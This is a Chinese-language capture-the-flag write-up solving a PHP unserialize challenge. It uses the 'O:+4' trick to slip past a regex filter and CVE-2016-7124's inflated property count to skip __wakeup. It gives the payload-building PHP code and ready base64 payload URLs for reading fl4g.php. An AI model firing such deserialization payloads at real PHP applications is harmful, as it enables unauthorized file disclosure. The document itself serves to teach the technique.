题目

解题过程

PHP反序列化的一道题，从代码看出flage在fl4g.php这个文件里面，Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化

classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;

}function__destruct() {echo @highlight_file($this->file, true);

}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);echo $serialized_data;

View Code

得到序列化结果：O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}，通过var参数传入，这里有两个问题：

1.var参数要先进行base64编码

调用php自带的base64_encode函数进行编码

2.要绕过正则检查

/[oc]:\d+:/i这个正则绕过书上看见过(所以没事要多看书 >_< )，O后面加上+就可以了：O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

最后访问连接：http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

嗯，失败了，因为__wakeup有判断文件名不是index.php就自动跳回index.php页面。。。

所以还有第3步要做，绕过__wakeup的检查，这个正好也在书上看见过(再次印证没事要多看书 >_< )

CVE-2016-7124：__wakeup失效，当属性个数不正确时，PHP不会调用__wakeup()。影响版本PHP5-PHP5.6.25，PHP7-PHP7.0.10。

修改属性个数1为2：O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}，在进行编码后传入var参数

最终的代码：

classDemo {private $file = 'index.php';public function __construct($file) {$this->file = $file;

}function__destruct() {echo @highlight_file($this->file, true);

}function__wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}$demo = new Demo('fl4g.php');$serialized_data = serialize($demo);$str=str_replace('O:4', 'O:+4',$serialized_data);$str=str_replace(':1:', ':2:',$str);echo base64_encode($str);

View Code

这里有一个坑，base64编码必须调用php自带的编码函数才行，直接拿去在线base64编码的结果无法拿到flag，原因不明。。。

访问链接：http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

拿到flag：